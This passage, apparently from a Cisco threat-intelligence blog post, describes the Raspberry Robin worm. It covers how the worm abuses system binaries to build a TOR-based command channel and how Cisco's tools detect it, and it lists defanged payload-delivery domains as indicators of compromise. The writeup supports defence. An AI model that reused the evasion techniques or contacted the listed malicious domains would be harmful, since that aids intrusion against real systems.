Command and Control

Raspberry Robin sets up its C2 channel through the additional execution of system binaries without any command line argument, which is quite unusual. That likely points to process injection given elevated privileges in previous steps of execution. It uses dllhost.exe, rundll32.exe, and regsvr32.exe to set up a TOR connection.

Detection through Global Threat Alerts

In Cisco Global Threat Alerts available through Cisco Secure Network Analytics and Cisco Secure Endpoint, we track this activity under the Raspberry Robin threat object. Image 3 shows a detection sample of Raspberry Robin:

Image 3: Raspberry Robin detection sample in Cisco Global Threat Alerts

Conclusion

Raspberry Robin tries to remain undetected through its use of system binaries, mixed letter case, TOR-based C2, and abuse of compromised QNAP accounts. Although we have similar intelligence gaps (how it infects external disks, what are its actions on objective) like our peers, we are continuously observing its activities.

Indicators of Compromise

Type Stage IOC
Domain Payload Delivery k6j[.]pw
Domain Payload Delivery kjaj[.]top
Domain Payload Delivery v0[.]cx
Domain Payload Delivery zk4[.]me
Domain Payload Delivery zk5[.]co
Domain Payload Delivery 0dz[.]me
Domain Payload Delivery 0e[.]si
Domain Payload Delivery 5qw[.]pw
Domain Payload Delivery 6w[.]re
Domain Payload Delivery 6xj[.]xyz
Domain Payload Delivery aij[.]hk
Domain Payload Delivery b9[.]pm
Domain Payload Delivery glnj[.]nl
Domain Payload Delivery j4r[.]xyz
Domain Payload Delivery j68[.]info
Domain Payload Delivery j8[.]si
Domain Payload Delivery jjl[.]one
Domain Payload Delivery jzm[.]pw
Domain Payload Delivery k6c[.]org
Domain Payload Delivery kj1[.]xyz
Domain Payload Delivery kr4[.]xyz
Domain Payload Delivery l9b[.]org
Domain Payload Delivery lwip[.]re
Domain Payload Delivery mzjc[.]is
Domain Payload Delivery nt3[.]xyz
Domain Payload Delivery qmpo[.]art
Domain Payload Delivery tiua[.]uk
Domain Payload Delivery vn6[.]co
Domain Payload Delivery z7s[.]org
Domain Payload Delivery k5x[.]xyz
Domain Payload Delivery 6Y[.]rE
Domain Payload Delivery doem[.]Re
Domain Payload Delivery bpyo[.]IN
Domain Payload Delivery l5k[.]xYZ
Domain Payload Delivery uQW[.]fUTbOL
Domain Payload Delivery t7[.]Nz
Domain Payload Delivery 0t[.]yT

References

  1. Raspberry Robin gets the worm early – https://redcanary.com/blog/raspberry-robin/
  2. QNAP worm: who benefits from crime? – https://7095517.fs1.hubspotusercontent-na1.net/hubfs/7095517/FLINT%202022-016%20-%20QNAP%20worm_%20who%20benefits%20from%20crime%20(1).pdf
  3. UAC Bypass – Fodhelper – https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/

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